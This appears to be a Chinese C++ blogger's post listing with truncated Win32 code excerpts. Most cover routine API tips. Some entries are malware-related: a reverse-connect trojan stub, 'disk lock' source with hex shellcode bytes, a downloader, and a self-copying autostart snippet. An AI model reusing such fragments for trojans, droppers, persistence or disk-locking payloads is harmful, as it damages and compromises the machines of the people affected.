C++
「已注销」
C/C++软件工程师
展开
-
InvokeHelper用法
ActiveX控件的方法和属性操作与生成的C++类成员函数相关联都是通过InvokeHelper函数的调用来完成的,InvokeHelper函数的第一个参数是由Component Gallery(控件提供者)提供的。因为经过这样的处理,所以我们如果要调用ActiveX控件的方法或对其属性进行取和设置操作,只需调用生成的C++类对应的成员函数便可。下面对InvokeHelper单独说明:转载 2013-01-28 16:32:25 · 2584 阅读 · 0 评论 -
C++打开或关闭光驱
#include #pragma comment(lib,"Winmm.lib")::mciSendString("set cadudio door open",NULL,0,0);//打开光驱::mciSendString("set cadudio door closed",NULL,0,0);//关闭光驱原创 2013-01-20 02:49:07 · 829 阅读 · 1 评论 -
_tsplitpath函数用法
1._tsplitpath(sFilename, sDrive, sDir, sFname, sExt);sFilename:文件的完整路径(如:"C:\WINDOWS\system32\mm.exe")sDrive:文件所在磁盘,含":"(如"C:")sDir:文件所在目录(如:"\WINDOWS\system32\")sFname:文件名(mm)sExt:文件扩展名(.ex原创 2013-01-20 02:28:44 · 1453 阅读 · 0 评论 -
C++获取文件大小等信息
/* STAT.C: This program uses the _stat function to * report information about the file named STAT.C. */#include #include #include #include void main( void ){ struct _stat buf;原创 2013-01-20 02:30:04 · 605 阅读 · 0 评论 -
C++获取当前程序路径
CString strPath; //得到程序路径TCHAR szFull[_MAX_PATH];TCHAR szDrive[_MAX_DRIVE];TCHAR szDir[_MAX_DIR];TCHAR szFileName[_MAX_FNAME];::GetModuleFileName(NULL, szFull, sizeof(szFull)/sizeof(TCH原创 2013-01-20 02:31:54 · 673 阅读 · 0 评论 -
C++枚举磁盘
for(char i='A';i<='Z';i++){ char x[20]={i,':'}; UINT Type=GetDriveType(x); if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE||Type==DRIVE_CDROM) { printf("%s\n",x); }}原创 2013-01-20 02:33:00 · 637 阅读 · 0 评论 -
C++结束进程
HANDLE handle; //定义CreateToolhelp32Snapshot系统快照句柄HANDLE handle1; //定义要结束进程句柄PROCESSENTRY32 *info; //定义PROCESSENTRY32结构字指info=new PROCESSENTRY32; info->dwSize=sizeof(PROCESSENTRY32)原创 2013-01-20 02:36:38 · 645 阅读 · 0 评论 -
C++实现窗口置顶
//窗口总处于最上面SetWindowPos(&wndTopMost,0,0,0,0,SWP_NOSIZE|SWP_NOMOVE);原创 2013-01-20 02:47:04 · 2061 阅读 · 1 评论 -
VC实现透明窗口
在OnInitDialog中添加以下代码:SetWindowLong(this->GetSafeHwnd(),GWL_EXSTYLE,GetWindowLong(this->GetSafeHwnd(), GWL_EXSTYLE)^0x80000); HINSTANCE hInst=LoadLibrary("User32.DLL"); if(hInst) { type原创 2013-01-20 02:52:33 · 510 阅读 · 0 评论 -
webrtc参考资料汇总
WebRTC相关模块及接口详细结构图:WebRTC 学习笔记(1)--总述 http://blog.chinaunix.net/uid-26000296-id-5612800.htmlWebRTC 学习笔记(2)--libjingle 部分 (P2P传输) http://blog.chinaunix.net/uid-26000296-id-5612831.htmlWebR转载 2018-01-22 14:05:36 · 323 阅读 · 0 评论 -
C++端口反弹木马
代码:/* ==============================Rebound port in Windows NTBy shucx,2003/10===============================*/#include #include #pragma comment(lib,"wsock32.lib")void OutputShell(转载 2013-01-20 02:46:04 · 1155 阅读 · 0 评论 -
C++关机、注销及重启
在WIN2000以上执行关机、注销、重启代码需要调整权限://调整权限调用API关机函数HANDLE hToken;TOKEN_PRIVILEGES tkp;OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);LookupPrivilegeValue(NUL原创 2013-01-20 02:43:53 · 697 阅读 · 0 评论 -
C++面试题解析
1.引言 本文的写作目的并不在于提供C/C++程序员求职面试指导,而旨在从技术上分析面试题的内涵。文中的大多数面试题来自各大论坛,部分试题解答也参考了网友的意见。 许多面试题看似简单,却需要深厚的基本功才能给出完美的解答。企业要求面试者写一个最简单的strcpy函数都可看出面试者在技术上究竟达到了怎样的程度,我们能真正写好一个strcpy函数吗?我们都觉得自己能,可是我们写出的strc转载 2013-01-18 11:29:55 · 398 阅读 · 0 评论 -
C++实现硬盘锁源码(危险!)
#include #include #include unsigned char scode[] ="\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c""\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72""\x7原创 2013-01-20 01:58:09 · 5964 阅读 · 6 评论 -
VC++隐藏对话框
void CServerDlg::HideDlg(){ ModifyStyleEx(WS_EX_APPWINDOW,WS_EX_TOOLWINDOW); WINDOWPLACEMENT wp; wp.length = sizeof(WINDOWPLACEMENT); wp.flags = WPF_RESTORETOMAXIMIZED; wp.showCmd = SW原创 2013-01-20 02:37:27 · 765 阅读 · 0 评论 -
C++ SendMessage函数的一些使用方法
SendMessage(WM_CLOSE); //关闭程序SendMessage(WM_SYSCOMMAND,SC_MINIMIZE,MAKELPARAM(point.x, point.y)); //最小化SendMessage(WM_SYSCOMMAND,SC_RESTORE,MAKELPARAM(point.x, point.y)); //恢复SendMessage(原创 2013-01-20 02:26:37 · 4073 阅读 · 0 评论 -
C++下载者源码
#include #include #include #pragma comment (lib, "urlmon.lib") int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPTSTR lpCmdLine,int nCmdShow) { static char mulu[MAX_PA原创 2013-01-20 02:34:36 · 2132 阅读 · 0 评论 -
C++获取系统内存及分别率
1.获得系统内存情况MEMORYSTATUS *mymem; char s[6][20]; //获得系统内存情况 mymem = new MEMORYSTATUS; GlobalMemoryStatus(mymem); if(mymem->dwMemoryLoad>1024) { mymem->dwMemoryLoad/=1024; _itoa原创 2013-01-20 02:40:20 · 961 阅读 · 0 评论 -
CreateProcess函数使用
STARTUPINFO infoStart;PROCESS_INFORMATION infoProcess;memset(&infoStart,0,sizeof(infoStart));infoStart.cb = sizeof(STARTUPINFO);infoStart.dwFlags = STARTF_USESHOWWINDOW;infoStart.wShowWindow原创 2013-01-20 02:21:34 · 664 阅读 · 0 评论 -
C++获取IP
获取本机IP地址的方法:1.单网卡的情况:WORD wVersionRequested;WSADATA wsaData;wVersionRequested = MAKEWORD(1, 1);WSAStartup(wVersionRequested, &wsaData);hostent *p;char s[128];char *p2;//获得计算机名字ge原创 2013-01-20 02:38:56 · 810 阅读 · 0 评论 -
C++实现程序开机自启动
可以采用以下方式实现自启动://拷贝到系统目录TCHAR TempPath[MAX_PATH];CString temp;::GetSystemDirectory(TempPath ,MAX_PATH);temp = TempPath;temp = temp + _T("\\INTRANET.EXE");int len = temp.GetLength();LP原创 2013-01-20 02:42:33 · 6114 阅读 · 0 评论 -
软件接口API规范
软件接口API规范 当前版本:V1.原创 2018-01-31 10:57:26 · 11023 阅读 · 0 评论